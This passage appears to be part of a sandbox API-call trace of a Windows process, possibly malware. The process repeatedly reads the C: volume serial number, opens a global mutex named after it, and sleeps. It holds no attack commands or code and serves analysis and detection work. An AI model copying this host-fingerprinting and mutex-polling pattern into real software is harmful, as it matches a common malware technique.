hHeap=0x6a0000) returned 1 [0243.533] Sleep (dwMilliseconds=0x3e8) [0244.796] GetProcessHeap () returned 0x6a0000 [0244.796] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0244.796] GetProcessHeap () returned 0x6a0000 [0244.796] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0244.796] GetProcessHeap () returned 0x6a0000 [0244.796] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0244.796] GetProcessHeap () returned 0x6a0000 [0244.796] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0244.796] GetProcessHeap () returned 0x6a0000 [0244.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0244.796] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0244.796] GetProcessHeap () returned 0x6a0000 [0244.796] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0244.796] GetProcessHeap () returned 0x6a0000 [0244.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0244.797] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0244.797] GetProcessHeap () returned 0x6a0000 [0244.797] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0244.797] GetProcessHeap () returned 0x6a0000 [0244.797] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0244.797] GetProcessHeap () returned 0x6a0000 [0244.797] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0244.797] GetProcessHeap () returned 0x6a0000 [0244.797] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0244.797] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0244.797] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0244.798] CloseHandle (hObject=0x1a0) returned 1 [0244.798] GetProcessHeap () returned 0x6a0000 [0244.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0244.798] GetProcessHeap () returned 0x6a0000 [0244.798] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0244.798] Sleep (dwMilliseconds=0x3e8) [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0245.803] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0245.803] GetProcessHeap () returned 0x6a0000 [0245.803] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0245.803] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0245.804] GetProcessHeap () returned 0x6a0000 [0245.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0245.804] GetProcessHeap () returned 0x6a0000 [0245.804] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0245.804] GetProcessHeap () returned 0x6a0000 [0245.804] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0245.804] GetProcessHeap () returned 0x6a0000 [0245.804] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0245.804] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0245.804] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0245.804] CloseHandle (hObject=0x1a0) returned 1 [0245.804] GetProcessHeap () returned 0x6a0000 [0245.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0245.804] GetProcessHeap () returned 0x6a0000 [0245.804] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0245.804] Sleep (dwMilliseconds=0x3e8) [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db228 [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4640 [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4640 | out: hHeap=0x6a0000) returned 1 [0246.817] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0246.817] GetProcessHeap () returned 0x6a0000 [0246.817] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0246.817] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0246.818] GetProcessHeap () returned 0x6a0000 [0246.818] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0246.818] GetProcessHeap () returned 0x6a0000 [0246.818] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0246.818] GetProcessHeap () returned 0x6a0000 [0246.818] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0246.818] GetProcessHeap () returned 0x6a0000 [0246.818] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0246.818] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0246.818] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0246.818] CloseHandle (hObject=0x1a0) returned 1 [0246.818] GetProcessHeap () returned 0x6a0000 [0246.818] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0246.818] GetProcessHeap () returned 0x6a0000 [0246.818] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0246.818] Sleep (dwMilliseconds=0x3e8) [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db228 [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4680 [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4680 | out: hHeap=0x6a0000) returned 1 [0247.831] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db228, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0247.831] GetProcessHeap () returned 0x6a0000 [0247.831] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0247.831] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0247.832] GetProcessHeap () returned 0x6a0000 [0247.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0247.832] GetProcessHeap () returned 0x6a0000 [0247.832] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0247.832] GetProcessHeap () returned 0x6a0000 [0247.832] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0247.832] GetProcessHeap () returned 0x6a0000 [0247.832] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0247.832] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0247.832] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0247.832] CloseHandle (hObject=0x1a0) returned 1 [0247.832] GetProcessHeap () returned 0x6a0000 [0247.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0247.832] GetProcessHeap () returned 0x6a0000 [0247.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0247.833] Sleep (dwMilliseconds=0x3e8) [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db228 [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6d4680 [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4680 | out: hHeap=0x6a0000) returned 1 [0248.847] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0248.847] GetProcessHeap () returned 0x6a0000 [0248.847] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0248.847] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0248.848] GetProcessHeap () returned 0x6a0000 [0248.848] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0248.848] GetProcessHeap () returned 0x6a0000 [0248.848] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0248.848] GetProcessHeap () returned 0x6a0000 [0248.848] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0248.848] GetProcessHeap () returned 0x6a0000 [0248.848] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0248.848] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0248.848] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0248.848] CloseHandle (hObject=0x1a0) returned 1 [0248.848] GetProcessHeap () returned 0x6a0000 [0248.848] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0248.848] GetProcessHeap () returned 0x6a0000 [0248.848] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0248.848] Sleep (dwMilliseconds=0x3e8) [0249.906] GetProcessHeap () returned 0x6a0000 [0249.906] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0249.906] GetProcessHeap () returned 0x6a0000 [0249.906] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db228 [0249.906] GetProcessHeap () returned 0x6a0000 [0249.906] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0249.906] GetProcessHeap () returned 0x6a0000 [0249.906] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0249.907] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db228, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0249.907] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0249.907] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0249.907] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0249.907] CloseHandle (hObject=0x1a0) returned 1 [0249.907] GetProcessHeap () returned 0x6a0000 [0249.907] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0249.908] GetProcessHeap () returned 0x6a0000 [0249.908] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0249.908] Sleep (dwMilliseconds=0x3e8) [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db228 [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0251.537] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0251.537] GetProcessHeap () returned 0x6a0000 [0251.537] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0251.537] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0251.538] GetProcessHeap () returned 0x6a0000 [0251.538] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0251.538] GetProcessHeap () returned 0x6a0000 [0251.538] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0251.538] GetProcessHeap () returned 0x6a0000 [0251.538] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0251.538] GetProcessHeap () returned 0x6a0000 [0251.538] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0251.538] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0251.538] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0251.538] CloseHandle (hObject=0x1a0) returned 1 [0251.538] GetProcessHeap () returned 0x6a0000 [0251.538] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0251.538] GetProcessHeap () returned 0x6a0000 [0251.538] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0251.539] Sleep (dwMilliseconds=0x3e8) [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db228 [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0253.155] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db228, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0253.155] GetProcessHeap () returned 0x6a0000 [0253.155] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0253.155] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0253.156] GetProcessHeap () returned 0x6a0000 [0253.156] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0253.156] GetProcessHeap () returned 0x6a0000 [0253.156] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0253.156] GetProcessHeap () returned 0x6a0000 [0253.156] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0253.156] GetProcessHeap () returned 0x6a0000 [0253.156] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0253.156] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0253.156] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0253.156] CloseHandle (hObject=0x1a0) returned 1 [0253.156] GetProcessHeap () returned 0x6a0000 [0253.156] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0253.156] GetProcessHeap () returned 0x6a0000 [0253.156] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0253.156] Sleep (dwMilliseconds=0x3e8) [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db228 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db278 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x37935a8 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37935a8 | out: hHeap=0x6a0000) returned 1 [0254.167] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db278 | out: hHeap=0x6a0000) returned 1 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db228 | out: hHeap=0x6a0000) returned 1 [0254.167] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.167] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4638 [0254.167] GetProcessHeap () returned 0x6a0000 [0254.168] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0254.168] GetProcessHeap () returned 0x6a0000 [0254.168] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0254.168] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x1a0 [0254.168] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0254.168] CloseHandle (hObject=0x1a0) returned 1 [0254.168] GetProcessHeap () returned 0x6a0000 [0254.168] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4638 | out: hHeap=0x6a0000) returned 1 [0254.168] GetProcessHeap () returned 0x6a0000 [0254.168] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0254.168] Sleep (dwMilliseconds=0x3e8) [0255.243] GetProcessHeap () returned 0x6a0000 [0255.243] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0255.243] GetProcessHeap () returned 0x6a0000 [0255.243] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db228 [0255.243] GetProcessHeap () returned 0x6a0000 [0255.243] RtlAllocateHeap 